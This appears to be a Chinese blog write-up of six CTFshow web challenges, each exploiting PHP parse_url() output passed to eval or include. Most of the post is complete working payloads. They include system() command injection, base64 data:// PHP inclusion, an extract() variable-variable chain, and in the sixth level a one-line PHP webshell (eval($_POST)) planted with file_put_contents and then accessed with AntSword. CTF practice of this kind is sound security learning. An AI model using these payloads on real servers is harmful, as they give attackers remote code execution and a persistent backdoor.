CTFSHOW-_周末大挑战

由于图片传不上去就只能凑合看了

第一关

题目

 $data = parse_url($_GET['u']);
 ​
 eval($data['host']);

先看一下parse_url()这个函数:

参考博客:PHP:parse_url的用法和参数说明_one312的博客-CSDN博客v87control_2,239v2insert_chatgpt&utm_term=parse_url&spm=1018.2226.3001.4187

再分析一下这两行代码,执行url里的host,所以修改host就可以,因为/会被解析成url的一部分,所以用cd ..;绕过

payload:

 ?u=http://system("cd ..;cd ..;cd ..;tac flag_is_here.txt");

第二关

先看题目:

 $data = parse_url($_GET['u']);
 ​
 include $data['host'].$data['path'];

文件包含,这里使用base64的data协议进行命令执行,因为命令部分会被解析成query部分,如下图

 data://text/plain;base64,<?php phpinfo();?>

这里的命令需要base64进行加密

最终的payload:

 ?u=http://data:://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

data后面有两个::至于为什么本地试试就知道了

但是这样并不能执行命令,试了试需要将payload进行url编码。

最终payload:

 http%3A%2F%2Fdata%3A%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmUudHh0Iik7ID8%2B

第三关

和上一关大同小异

 $data = parse_url($_GET['u']);
 ​
 include $data['scheme'].$data['path'];

本地测试一下:

最终payload,甚至不需要url编码:

 ?u=data:://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgL19mMWFfZ18xc19oM3JlIik7Pz4=

第四关

还是大同小异

附一张本地图片

最终payload:

?u=http://cd ..;cd ..;cd ..;tac 1_f1ag_1s_h3re/1

第五关

并不难,就是稍微套了点

extract(parse_url($_GET['u']));
include $$$$$$host;

附上本地测试代码

<pre>
<?php
$u = "user://pass:query@scheme:111/path?fragment#data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==";
$data = parse_url($u);
extract(parse_url($u));
echo "<br>";
print_r($data);
echo $host."<br>";
echo $scheme."<br>";
echo $user."<br>";
echo $pass."<br>";
echo $query."<br>";
echo $fragment."<br>";

echo $$$$$$host."<br>";

//$host ->  scheme
//$$host = schme -> user
//$$$host = user -> pass
//$$$$host = pass -> query
//$$$$$host = query -> fragment
//$$$$$$host = fragment -> 最终命令
?>
</pre>

附上测试结果

最终payload:

?u=user%3A%2F%2Fpass%3Aquery%40scheme%3A111%2Fpath%3Ffragment%23data%3A%2F%2Ftext%2Fplain%3Bbase64%2CPD9waHAgc3lzdGVtKCJ0YWMgL19mMWFnXzFzX2gzcmVlIik7ID8%2B

第六关

第六关有个函数file_put_contents();

所以想到上传一句话木马

由于?会被解析成query,所以需要更换php标签,这里用的js,由于path中一定会有/,所以选择绝对路径上传,这里路径猜测默认路径

构造payload:

?u=//<script language="php"> eval($_POST['1']);/var/www/html/1.php

然后蚁剑访问1.php

根目录下拿到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值